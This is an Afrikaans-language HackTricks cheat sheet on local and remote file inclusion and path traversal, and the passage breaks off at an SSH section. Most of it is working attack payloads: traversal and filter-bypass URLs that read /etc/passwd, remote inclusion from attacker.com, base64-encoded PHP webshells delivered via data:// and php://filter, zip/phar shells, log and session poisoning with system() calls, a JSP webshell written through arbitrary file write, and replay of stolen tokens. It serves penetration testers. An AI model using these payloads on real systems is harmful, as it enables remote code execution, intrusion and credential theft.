File Inclusion/Path traversal

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

File Inclusion

Remote File Inclusion (RFI): Die lêer word vanaf ’n afgeleë server gelaai (Beste: Jy kan die kode skryf en die server sal dit uitvoer). In php is dit afgeskakel standaard (allow_url_include).
Local File Inclusion (LFI): Die bediener laai ’n plaaslike lêer.

Die kwesbaarheid ontstaan wanneer die gebruiker op ’n of ander wyse die lêer kan beheer wat deur die bediener gelaai gaan word.

Kwetsbare PHP functions: require, require_once, include, include_once

’n interessante hulpmiddel om hierdie kwesbaarheid te benut: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE lêers

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Deur verskeie *nix LFI-lyste te kombineer en meer paaie by te voeg het ek hierdie een geskep:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Probeer ook om / te vervang met \
Probeer ook om ../../../../../ by te voeg

’n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwesbaarheid bestaan) kan hier gevind word

Windows

Samevoeging van verskillende wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Probeer ook om / te vervang met \
Probeer ook om C:/ te verwyder en ../../../../../ by te voeg

’n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwesbaarheid bestaan) kan hier gevind word

OS X

Kyk na die LFI-lys van linux.

Basiese LFI en bypasses

Al die voorbeelde is vir Local File Inclusion maar kan ook toegepas word op Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass die toevoeging van meer karakters aan die einde van die verskafte string (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Dit is opgelos sedert PHP 5.4

Enkodering

Jy kan nie-standaard enkoderinge gebruik soos double URL encode (en ander):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Moderne HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) ontleed graag deur ’n aanvaller verskafde HTML, SVG, CSS en font-URL’s, maar hulle word binne vertroude backend-netwerke met lêerstelseltoegang uitgevoer. Sodra jy HTML kan injekteer in $pdf->writeHTML()/Html2Pdf::writeHTML(), kan jy dikwels plaaslike lêers exfiltreer wat die webbedienerrekening kan lees.

  • Fingerprint the renderer: elke gegenereerde PDF bevat ’n Producer field (e.g. TCPDF 6.8.2). Om die presiese build te ken, vertel jou watter padfilters bestaan en of URL-dekodering gebeur voordat validasie plaasvind.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lees die xlink:href attribuut van <image> elemente voordat dit urldecode() uitvoer. Om ’n kwaadwillige SVG in ’n data URI in te sluit laat baie HTML-sanitizers die payload ignoreer, terwyl TCPDF dit steeds ontleed:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF voeg $_SERVER['DOCUMENT_ROOT'] vooraan by paaie wat met / begin en los eers later .. op, so gebruik óf leidende ../../.. segmente of /../../.. om na die prepend die root te ontsnap.

  • Enkodering om naïewe filters te omseil: Weergawes ≤6.8.2 kyk slegs na die letterlike subreeks ../ voor die dekoderings van die URL. Deur ..%2f (of ..%2F) in die SVG of in ’n rou <img src>-attribuut te stuur, omseil jy die kontrole, omdat die traversal dot-dot-slash-volgorde eers weer geskep word nadat TCPDF urldecode() aangeroep het.
  • Dubbel-enkodering vir meerfase-dekodering: As gebruikersinvoer deur die webframework en deur TCPDF gedekodeer word, enkodeer die skuinsstreep dubbel (%252f). Een dekodeer verander dit in %2f, die tweede dekodeer in TCPDF verander dit in /, wat /..%252f.. → /../../../… oplewer sonder dat ../ ooit aan die vroeë filter getoon word.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() bevat dieselfde fout in die volgorde van verwerking, wat direkte HTML-payloads soos src="%2f..%252f..%252ftmp%252fsecret.png" toelaat om enige lokaal bereikbare bitmap te lees.

This technique leaks anything readable by the PDF worker (paspoortskanderings, API keys wat as beelde gerender is, ens.). Beveiligers het dit in 6.9.1 reggemaak deur paaie te kanoniseer (isRelativePath()), dus tydens toetse gee voorkeur aan ouer Producer weergawes.

Vanuit bestaande gids

Miskien kontroleer die back-end die vouerpad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Verkenning van lêerstelsel-gidse op ’n server

Die lêerstelsel van ’n server kan rekursief ondersoek word om gidse, nie net lêers, te identifiseer deur sekere tegnieke te gebruik. Hierdie proses behels die bepaling van die direktoriediepte en die toets van die bestaan van spesifieke vouers. Hieronder volg ’n gedetailleerde metode om dit te bereik:

  1. Bepaal direktoriediepte: Bepaal die diepte van jou huidige gids deur suksesvol die /etc/passwd-lêer af te haal (toepaslik indien die server Linux-based is). ’n Voorbeeld-URL kan soos volg gestruktureer wees, wat ’n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Soek na gidse: Voeg die naam van die vermoedlike gids (bv., private) by die URL, en navigeer dan terug na /etc/passwd. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreteer die uitkomste: Die server se reaksie dui aan of die gids bestaan:
  • Fout / Geen Uitset: Die gids private bestaan waarskynlik nie op die gespesifiseerde ligging nie.
  • Inhoud van /etc/passwd: Die aanwesigheid van die gids private word bevestig.
  1. Rekursiewe verkenning: Gevonde gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.

Om gidse op ander plekke in die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of /var/www/ ’n private gids bevat (aangenome dat die huidige gids op ’n diepte van 3 is), gebruik:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation is ’n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur bypassing sekere veiligheidsmaatreëls wat addisionele karakters aan die einde van lêerpaaie toevoeg. Die doel is om ’n lêerpad te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.

In PHP kan verskeie voorstellings van ’n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ word almal as dieselfde pad behandel.
  • As die laaste 6 karakters passwd is, verander die toevoeging van /' (waardeur dit passwd/ word) nie die geteikende lêer nie.
  • Net so, as .php aan ’n lêerpad gevoeg word (soos shellcode.php), sal die toevoeging van /. aan die einde nie die aangesproke lêer verander nie.

Die onderstaande voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot /etc/passwd te kry, ’n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In hierdie scenario’s kan die aantal traversals wat nodig is omstreeks 2027 wees, maar hierdie getal kan wissel afhangende van die bediener se konfigurasie.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) gekombineer met ekstra dot segments en karakters kan gebruik word om deur die lêerstelsel te navigeer en aangehegte stringe deur die bediener effektief te ignoreer.
  • Determining the Required Number of Traversals: Deur proef-en-fout kan ’n mens die presiese aantal ../-reekse vind wat nodig is om na die root-gids en dan na /etc/passwd te navigeer, terwyl enige aangehegte stringe (soos .php) geneutraliseer word maar die verlangde pad (/etc/passwd) ongeskonde bly.
  • Starting with a Fake Directory: Dit is algemene praktyk om die pad te begin met ’n nie-bestaande gids (soos a/). Hierdie tegniek word as ’n voorsorgmaatreël gebruik of om te voldoen aan die vereistes van die bediener se path parsing logic.

When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php is dit standaard gedeaktiveer omdat allow_url_include Off. Dit moet On wees om te werk, en in daardie geval kan jy ’n PHP-lêer vanaf jou bediener insluit en RCE kry:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

As om een of ander rede allow_url_include On is, maar PHP toegang tot eksterne webblaaie filtreer, according to this post, kan jy byvoorbeeld die data-protokol met base64 gebruik om ’n b64 PHP-kode te dekodeer en RCE te kry:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

In die vorige kode is die finale +.txt bygevoeg omdat die aanvaller ’n string nodig gehad het wat op .txt eindig, so die string daarmee eindig en na die b64 decode sal daardie deel net gemors teruggee en die werklike PHP-kode ingesluit word (en gevolglik uitgevoer).

Nog ’n voorbeeld wat nie die php:// protokol gebruik nie sou wees:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Wortelelement

In Python, in ’n kode soos hierdie:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

As die gebruiker ’n absolute pad aan file_name deurgee, word die vorige pad net verwyder:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Dit is die bedoelde gedrag volgens the docs:

As ’n komponent ’n absolute pad is, word alle vorige komponente verwerp en gaan die samevoeging voort vanaf die absolute pad-komponent.

Java: Lys van gidse

Dit lyk asof as jy ’n Path Traversal in Java het en jy vra vir ’n gids in plaas van ’n lêer, ’n lys van die gids teruggestuur word. Dit sal nie in ander tale gebeur nie (sover ek weet).

Top 25 parameters

Hier is ’n lys van die top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) vulnerabilities (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI gebruik PHP-wrappers & protokolle

php://filter

PHP-filters laat toe om basiese wysigingswerke op die data uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verwyder tags uit die data (alles tussen die karakters “<” en “>”)
  • Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformeer na ’n ander kodering (convert.iconv.<input_enc>.<output_enc>). Om die lys van alle ondersteunde koderinge te kry, voer in die konsole uit: iconv -l

Warning

Deur die convert.iconv.*-omskakelingsfilter te misbruik kan jy arbitrêre teks genereer, wat nuttig kan wees om arbitrêre teks te skryf of om ’n funksie soos include arbitrêre teks te laat verwerk. Vir meer inligting sien LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Pak die inhoud saam (nuttig as jy baie inligting wil eksfiltreer)
  • zlib.inflate: De-komprimeer die data
  • Encryption Filters
  • mcrypt.* : Verouderd
  • mdecrypt.* : Verouderd
  • Other Filters
  • As jy in PHP var_dump(stream_get_filters()); uitvoer, kan jy ’n paar onverwagte filters vind:
  • consumed
  • dechunk: keer HTTP chunked encoding om
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Die deel “php://filter” is hoofletteronafhanklik

Using php filters as oracle to read arbitrary files

In this post word ’n tegniek voorgestel om ’n plaaslike lêer te lees sonder om die uitvoer deur die bediener terug te kry. Hierdie tegniek berus op ’n boolean exfiltration of the file (char by char) using php filters as oracle. Dit is omdat php filters gebruik kan word om ’n teks groot genoeg te maak sodat php ’n uitsondering gooi.

In die oorspronklike pos vind jy ’n gedetailleerde verduideliking van die tegniek, maar hier is ’n vinnige samevatting:

  • Gebruik die codec UCS-4LE om die leidende karakter van die teks aan die begin te laat en die grootte van die string eksponensieel te laat toeneem.
  • Dit sal gebruik word om ’n teks so groot te genereer wanneer die aanvanklike letter korrek geraai word dat php ’n fout sal veroorsaak.
  • Die dechunk filter sal alles verwyder as die eerste char nie ’n heksadesimale is nie, sodat ons kan weet of die eerste char hex is.
  • Dit, gekombineer met die vorige een (en ander filters afhangend van die geraaide letter), sal ons toelaat om ’n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer ’n heksadesimale karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal die php-fout veroorsaak.
  • Die codec convert.iconv.UNICODE.CP930 transformeer elke letter in die daaropvolgende een (dus na hierdie codec: a -> b). Dit laat ons byvoorbeeld ontdek of die eerste letter ’n a is omdat as ons 6 van hierdie codec toepas a->b->c->d->e->f->g die letter nie meer ’n heksadesimale karakter is nie, gevolglik verwyder dechunk dit nie en die php-fout word getrigger omdat dit met die aanvanklike bom vermenigvuldig.
  • Deur ander transformasies soos rot13 aan die begin te gebruik is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
  • Wanneer die aanvanklike char ’n nommer is, is dit nodig om dit te base64 encode en die eerste 2 letters te leak om die nommer te onthul.
  • Die finale probleem is om te sien hoe om meer as die aanvanklike letter te leak. Deur order memory filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
  • En om in staat te wees om verdere data te bekom, is die idee om 2 bytes rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, pas UCS-4LE toe om dit te laat pivot met die volgende 2 bytes, en delete die data totdat by die rommeldata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die verlangde deel bereik om te leak.

In die pos is ’n hulpmiddel om dit outomaties uit te voer ook geleak: php_filters_chain_oracle_exploit.

php://fd

Hierdie wrapper laat toe om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te exfiltrate:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Jy kan ook php://stdin, php://stdout and php://stderr gebruik om onderskeidelik toegang te kry tot die file descriptors 0, 1 and 2 (nie seker hoe dit in ’n aanval nuttig sou wees nie)

zip:// and rar://

Laai ’n Zip of Rar-lêer met ’n PHPShell daarin op en kry toegang daartoe.
Om die rar-protokol te kan misbruik, moet dit spesifiek geaktiveer wees.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Let wel dat hierdie protokol beperk word deur php-konfigurasies allow_url_open en allow_url_include

expect://

Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spesifiseer jou payload in die POST-parameters:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

’n .phar lêer kan gebruik word om PHP-kode uit te voer wanneer ’n webtoepassing funksies soos include vir laai van lêers gebruik. Die PHP-kodefragment hieronder demonstreer die skep van ’n .phar lêer:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Om die .phar-lêer te kompileer, moet die volgende opdrag uitgevoer word:

php --define phar.readonly=0 create_path.php

By uitvoering word ’n lêer met die naam test.phar geskep, wat moontlik benut kan word om Local File Inclusion (LFI)-kwesbaarhede uit te buit.

In gevalle waar die LFI slegs lêerlesing uitvoer sonder om die PHP-kode binne te uitvoer—deur funksies soos file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), of filesize()—kan daar ’n poging aangewend word om ’n deserialization-kwesbaarheid uit te buit. Hierdie kwesbaarheid is geassosieer met die lees van lêers deur die phar-protokol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Dit was moontlik om any arbitrary file read from PHP that supports php filters te misbruik om ’n RCE te kry. Die gedetailleerde beskrywing kan found in this post.
Baie kort opsomming: ’n 3 byte overflow in die PHP heap is misbruik om die alter the chain of free chunks van ’n spesifieke grootte te verander sodat dit moontlik was om write anything in any address, daarom is ’n hook bygevoeg om system aan te roep.
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — Skryf in geheue of in ’n tydelike lêer (nie seker hoe dit nuttig kan wees in ’n file inclusion attack nie)
  • file:// — Toegang tot die plaaslike lêerstelsel
  • http:// — Toegang tot HTTP(s) URLs
  • ftp:// — Toegang tot FTP(s) URLs
  • zlib:// — Kompressiestrome
  • glob:// — Vind padname wat met ’n patroon ooreenstem (Dit gee niks uit wat druktbaar is nie, so nie regtig nuttig hier nie)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audiostrome (Nie nuttig om arbitrêre lêers te lees nie)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI)-risiko’s in PHP is veral hoog wanneer ’n toepassing die ‘assert’ funksie gebruik, wat kode binne stringe kan uitvoer. Dit is besonder problematies as insette wat directory traversal-karakters soos “..” bevat, wel nagegaan maar nie behoorlik ontsmet word nie.

Byvoorbeeld, PHP-kode kan so ontwerp wees om directory traversal te voorkom:

assert("strpos('$file', '..') === false") or die("");

Alhoewel dit daarop gemik is om traversal te stop, skep dit onbedoeld ’n vektor vir code injection. Om dit te exploit om lêerinhoud te lees, kan ’n aanvaller gebruik:

' and die(highlight_file('/etc/passwd')) or '

Net so, om ewekansige stelselopdragte uit te voer, kan iemand gebruik maak van:

' and die(system("id")) or '

Dit is belangrik om URL-encode these payloads.

PHP Blind Path Traversal

Warning

Hierdie tegniek is relevant in gevalle waar jy die file path van ’n PHP function beheer wat ’n file sal access, maar jy sal nie die inhoud van die file sien nie (soos ’n eenvoudige call na file()).

In this incredible post word verduidelik hoe ’n blind path traversal misbruik kan word via PHP filter om exfiltrate the content of a file via an error oracle.

Kortliks: die tegniek gebruik die “UCS-4LE” encoding om die inhoud van ’n file so big te maak dat die PHP function wat die file open ’n error sal veroorsaak.

Daarna, om die eerste karakter te leak, word die filter dechunk gebruik saam met ander soos base64 of rot13, en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te leak.

Funksies wat moontlik kwesbaar is: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Vir die tegniese besonderhede, kyk na die genoemde post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Wanneer server-side kode wat files ingesamel/opgelaai, die bestemmingpad bou met user-controlled data (bv. ’n filename of URL) sonder om dit te canonicaliseer en te valideer, kan ..-segmente en absolute paths uit die beoogde gids ontsnap en ’n arbitrary file write veroorsaak. As jy die payload in ’n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur ’n webshell neer te sit.

Tipiese uitbuiting-werkvloei:

  • Identifiseer ’n write primitive in ’n endpoint of background worker wat ’n path/filename aanvaar en inhoud na disk skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
  • Bepaal web-exposed directories. Algemene voorbeelde:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Konstrueer ’n traversal pad wat uit die beoogde stoor-gids na die webroot breek, en sluit jou webshell-inhoud in.
  • Blaai na die geplaatste payload en voer opdragte uit.

Notas:

  • Die kwesbare diens wat die skryf uitvoer mag na ’n non-HTTP poort luister (bv. ’n JMF XML listener op TCP 4004). Die hoof webportaal (op ’n ander poort) sal later jou payload bedien.
  • Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige File/Paths concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.

Generiese XML/JMF-styl voorbeeld (produk schemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Verharding wat hierdie klas foute keer:

  • Los dit op na ’n kanonieke pad en afdwing dat dit ’n afstammeling is van ’n op die witlys geplaatste basgids.
  • Verwerp enige pad wat .., absolute roots, of skyfletters bevat; verkies gegenereerde lêernamen.
  • Laat die writer hardloop as ’n rekening met lae voorregte en skei skryfgidse van die geserveerde wortels.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

As die Apache of Nginx bediener vulnerable to LFI binne die include funksie is, kan jy probeer toegang kry tot /var/log/apache2/access.log or /var/log/nginx/access.log, en in die user agent of in ’n GET parameter ’n php shell soos <?php system($_GET['c']); ?> plaas en daardie lêer include.

Warning

Neem kennis dat as jy dubbele aanhalingstekens gebruik vir die shell in plaas van enkele aanhalingstekens, sal die dubbele aanhalingstekens verander word na die string “quote;”, PHP sal daar ’n fout gooi en niks anders sal uitgevoer word.

Maak ook seker dat jy die payload korrek skryf of PHP sal elke keer ’n fout gee wanneer dit probeer om die loglêer te laad en jy sal nie ’n tweede geleentheid hê nie.

Dit kan ook in ander logs gedoen word, maar wees versigtig, die kode binne die logs kan URL-gekodeer wees en dit kan die Shell vernietig. Die header authorisation “basic” bevat “user:password” in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan binne hierdie header ingesit word.
Ander moontlike logpade:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lees access logs om GET-gebaseerde auth tokens te oes (token replay)

Baie apps aanvaar per ongeluk session/auth tokens via GET (bv. AuthenticationToken, token, sid). As jy ’n path traversal/LFI-primitive het na webserver logs, kan jy daardie tokens uit die access logs steel en hulle replay om authentication heeltemal te omseil.

How-to:

  • Gebruik die traversal/LFI om die web server access log te lees. Algemene plekke:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Sommige endpoints gee lêerlesings terug as Base64-encoded. As dit die geval is, decodeer plaaslik en inspekteer die logreëls.
  • Gebruik grep vir GET-requests wat ’n token-parameter bevat en vang die waarde, en replay dit teen die application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Dekodeer die body as dit Base64 is, en speel dan ’n vasgevang token af:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Aantekeninge:

  • Tokens in URLs word standaard aangeteken; aanvaar nooit bearer tokens via GET in produksiestelsels.
  • As die app meerdere token names ondersteun, soek na algemene sleutels soos AuthenticationToken, token, sid, access_token.
  • Roteer enige tokens wat moontlik na logs leaked.

Deur E-pos

Stuur ’n e-pos na ’n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer dit in te sluit in die pos van die gebruiker met ’n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>

Deur /proc/*/fd/*

  1. Laai baie shells op (byvoorbeeld: 100)
  2. Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, met $PID = PID of the process (can be brute forced) en $FD die file descriptor (can be brute forced too)

Deur /proc/self/environ

Soos ’n log file, stuur die payload in die User-Agent; dit sal weerspieël word binne die /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Deur oplaai

As jy ’n lêer kan oplaai, plaas eenvoudig die shell payload daarin (bv.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van pictures/doc/pdf in te voeg

Deur ZIP-lêer oplaai

Laai ’n ZIP-lêer op wat ’n gecomprimeerde PHP shell bevat en kry toegang:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Deur PHP sessions

Kontroleer of die webwerf PHP sessions gebruik (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Stel die cookie in op <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Gebruik die LFI om die PHP session file in te sluit

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Deur ssh

